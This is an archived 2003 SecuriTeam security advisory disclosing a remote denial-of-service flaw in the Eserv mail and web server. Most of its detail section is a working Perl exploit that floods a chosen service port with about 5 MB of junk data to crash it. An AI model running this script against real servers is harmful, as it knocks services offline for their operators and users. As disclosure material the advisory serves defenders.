

# [NT] Eserv Remote Denial of Service (5mb Garbage)

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-01/0004.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 01/05/03

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 5 Jan 2003 11:00:40 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security would like to welcome Tiscali World Online to our service provider team.

For more info on their service offering IP-Secure, please visit [http://www.worldonline.co.za/services/work\\_ip.asp](http://www.worldonline.co.za/services/work_ip.asp)

-----

Eserv Remote Denial of Service (5mb Garbage)

---

## SUMMARY

<<http://www.eserv.ru/>> Eserv is a Mail, News, Web, FTP and Proxy Servers for Win95/98/NT/2000. A security vulnerability in the product allows remote attackers to cause the server to crash by sending it more than 5Mb of data.

## DETAILS

Vulnerable systems:

\* Eserv version 2.98

\* Eserv version 2.97 and prior

Exploit:

```
#!/usr/bin/perl
```

```
#####
```

```
#EServ/2.97 remote DoS xsploit
```

```
#Bugs founded in v.2.97 but I think that 2.98 is
```

```
#vulnerable too.
```

```
#####
```

```
#Usage: perl EServ.DoS.pl [host] [port] [service_type]
```

```
#Where 'service_type' - service to attack (pop, smtp, ftp, nntp)
```

## Securiteam: [NT] EServ Remote Denial of Service (5mb Garbage)

```
#Example: perl EServ.DoS.pl localhost 110 pop
#####
#If something wrong or u wanna to discuss something,
#contact me: "D4rkGr3y" <grey_1999@mail.ru> icq: 540981
#####
use IO::Socket;
$host = $ARGV[0];
$port = $ARGV[1];
$param = $ARGV[2];
$data = "a";
print "\n\n";
print "#Product: EServ/2.97 – www.eserv.ru\n";
print "#Vuln: remote DoS\n";
print "#Xsploit by D4rkGr3y\n";
print "#Warning: if u use dial–up connection, attack can take a few
time.\n\n";
if ($param) {
    $num = "4950001" if $param eq "pop";
    $num = "4960000" if $param eq "smtp";
    $num = "5005312" if $param eq "ftp";
    $num = "5001215" if $param eq "nntp";
    die "Error in params\n" if !$num;
    print "Connecting...";
    $socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port,
Proto => "tcp", Type => SOCK_STREAM) or die "Socket
error.\n";
    print "OK\n";
    $buf .= $data x $num;
    print "Attacking...";
    print $socket "$buf\n";
    print "OK\n\n";
    print "Vizit us at www.dhgroup.org";
    close($socket);
} else {
    print "Error in Params.\n";
    print "Usage: perl EServ.DoS.pl [host] [port] [service_type]\n";
    print "Where 'service_type' – service to attack (pop, smtp, ftp,
nntp)\n";
    print "Example: perl EServ.DoS.pl 127.0.0.1 110 pop\n";
    exit;
}
}
```

#EOF

### ADDITIONAL INFORMATION

The information has been provided by <mailto:grey\_1999@mail.ru> D4rkGr3y.

=====

Securiteam: [NT] Eserv Remote Denial of Service (5mb Garbage)

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.